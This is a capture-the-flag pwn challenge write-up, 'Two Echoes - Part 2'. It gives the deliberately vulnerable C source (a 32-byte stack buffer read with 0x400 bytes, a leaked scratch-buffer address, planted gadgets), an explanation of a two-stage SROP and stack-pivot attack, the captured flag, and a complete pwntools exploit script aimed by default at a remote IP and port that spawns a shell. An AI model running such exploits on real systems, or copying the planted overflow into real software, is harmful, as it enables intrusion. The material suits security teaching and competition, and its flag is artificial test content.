/*
* Two Echoes - Part 2
*
* Hardened: No /bin/sh string.
* Vulnerability: Buffer Overflow.
* Helper: Leaks address of a writable scratch buffer to facilitate Stack Pivoting.
*/
void syscall_exit(int code) {
__asm__ volatile (
"mov $60, %%rax\n"
"syscall"
: : "D"(code)
);
}
long syscall_write(int fd, const void *buf, unsigned long count) {
long ret;
__asm__ volatile (
"mov $1, %%rax\n"
"syscall"
: "=a"(ret) : "D"(fd), "S"(buf), "d"(count) : "rcx", "r11", "memory"
);
return ret;
}
long syscall_read(int fd, void *buf, unsigned long count) {
long ret;
__asm__ volatile (
"mov $0, %%rax\n"
"syscall"
: "=a"(ret) : "D"(fd), "S"(buf), "d"(count) : "rcx", "r11", "memory"
);
return ret;
}
void print(const char *s) {
int len = 0;
while(s[len]) len++;
syscall_write(1, s, len);
}
void print_hex(unsigned long addr) {
char hex[19] = "0x";
for(int i = 15; i >= 0; i--) {
int nibble = (addr >> (i * 4)) & 0xF;
hex[17 - i] = nibble < 10 ? '0' + nibble : 'a' + nibble - 10;
}
hex[18] = '\n';
syscall_write(1, hex, 19);
}
// ════════════════════════════════════════
// GADGETS
// ════════════════════════════════════════
// Naked functions to ensure compiler doesn't add prologue/epilogue
__attribute__((naked)) void gadget_pop_rax() {
__asm__ volatile ("pop %rax; ret;");
}
__attribute__((naked)) void gadget_syscall() {
__asm__ volatile ("syscall; ret;");
}
// ════════════════════════════════════════
// SCRATCH BUFFER
// ════════════════════════════════════════
// A large writable area for stack pivoting
char scratch_buffer[0x1000] __attribute__((section(".data")));
void listen() {
char buffer[32]; // Small buffer for overflow
print("The void echoes louder...\n");
print("Use this echo to guide your signal: ");
print_hex((unsigned long)scratch_buffer);
print("Speak signal:\n");
// Overflow vulnerability
syscall_read(0, buffer, 0x400);
}
int main() {
print("════════════════════════════════\n");
print(" ECHOES Revenge\n");
print("════════════════════════════════\n");
print("Only signals remain.\n");
print("════════════════════════════════\n");
listen();
print("\nThe silence returns.\n");
syscall_exit(0);
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Insane |
| Author | r3t0x |
| Technique | Two-Stage SROP + Stack Pivot |
Same protections as Oracle, but the key difference: no /bin/sh string exists in the binary. We need to write it ourselves.
The binary leaks the address of a writable scratch buffer (scratch_buffer[0x1000] in .data):
The void echoes louder...
Use this echo to guide your signal: 0x00000000004040c0
First SROP frame performs sys_read to read our second payload into the scratch buffer, pivoting RSP to scratch_buffer + 0x100:
frame1 = SigreturnFrame()
frame1.rax = 0 # sys_read
frame1.rdi = 0 # stdin
frame1.rsi = scratch_addr # write to scratch buffer
frame1.rdx = 0x500
frame1.rip = syscall_ret
frame1.rsp = pivot_addr # RSP = scratch + 0x100
Second payload writes "/bin/sh\x00" at scratch_addr, then pads to pivot_addr where another SROP frame calls execve:
p2 = b'/bin/sh\x00'
p2 += b'\x90' * (0x100 - len(p2)) # pad to pivot point
# ... SROP frame for execve
frame2.rdi = scratch_addr # points to "/bin/sh"
[+] Scratch Buffer Leaked @ 0x4040c0
[+] Shell verified!
$ cat flag.txt
MOJO-JOJO{st4ck_p1v0t_s1gr0p_m4st3r}
#!/usr/bin/env python3
from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(args.HOST or '4.233.210.175', args.PORT or 9004, *a, **kw)
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
b *listen+45
continue
'''
# Gadget addresses (will be found dynamically in script)
pop_rax = 0
syscall_ret = 0
def solve():
global pop_rax, syscall_ret
# 1. Find Gadgets
# Since we built it with symbols, we can look them up,
# but for robustness let's verify.
try:
pop_rax = elf.symbols['gadget_pop_rax']
syscall_ret = elf.symbols['gadget_syscall']
except:
# Fallback manual scan if symbols missing
rop = ROP(elf)
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
# syscall; ret is rare in ROPgadget default search sometimes
# let's assume challenge provides it if symbols fail
pass
log.info(f"pop rax; ret @ {hex(pop_rax)}")
log.info(f"syscall; ret @ {hex(syscall_ret)}")
io = start()
# 2. Get Scratch Buffer Leak
io.recvuntil(b'guide your signal: ')
scratch_addr = int(io.recvline().strip(), 16)
log.success(f"Scratch Buffer Leaked @ {hex(scratch_addr)}")
io.recvuntil(b'Speak signal:\n')
# DEBUG: Find offset with cyclic pattern
'''
io.send(cyclic(200))
io.wait()
core = io.corefile
offset = cyclic_find(core.fault_addr)
log.info(f"Offset found: {offset}")
return
'''
# Start with common dynamic linking offset assumption (usually 40 or 72)
offset = 40
pivot_addr = scratch_addr + 0x100
# Payload 1
p1 = b'A' * offset
p1 += p64(pop_rax)
p1 += p64(15) # RAX = 15 (sys_tr_sigreturn)
p1 += p64(syscall_ret) # syscall
frame1 = SigreturnFrame()
frame1.rax = 0 # sys_read
frame1.rdi = 0 # fd = 0 (stdin)
frame1.rsi = scratch_addr # buf = scratch
frame1.rdx = 0x500 # count
frame1.rip = syscall_ret # execute syscall
frame1.rsp = pivot_addr # NEW STACK POINTER
p1 += bytes(frame1)
io.send(p1)
time.sleep(0.2)
p2 = b'/bin/sh\x00' # at scratch_addr
# Pad until pivot_addr (0x100 bytes from start)
# current length is 8.
p2 += b'\x90' * (0x100 - len(p2))
# NOW WE ARE AT `pivot_addr` (RSP points here after read returns)
# The `ret` of the `syscall; ret` gadget will pop from here!
# We need to set RAX=59, RDI=binsh, etc. using SIGROP
p2 += p64(pop_rax)
p2 += p64(15)
p2 += p64(syscall_ret)
frame2 = SigreturnFrame()
frame2.rax = 59 # sys_execve
frame2.rdi = scratch_addr # points to "/bin/sh"
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
frame2.rsp = pivot_addr + 0x400 # Just somewhere writable/safe
p2 += bytes(frame2)
io.send(p2)
time.sleep(0.5)
# Check shell
io.sendline(b'echo SHELL_ACTIVE')
try:
if b'SHELL_ACTIVE' in io.recv(timeout=1):
log.success("Shell verified!")
else:
log.warning("Exploit sent but no echo...")
except:
log.warning("Exploit sent but no response.")
io.interactive()
if __name__ == '__main__':
solve()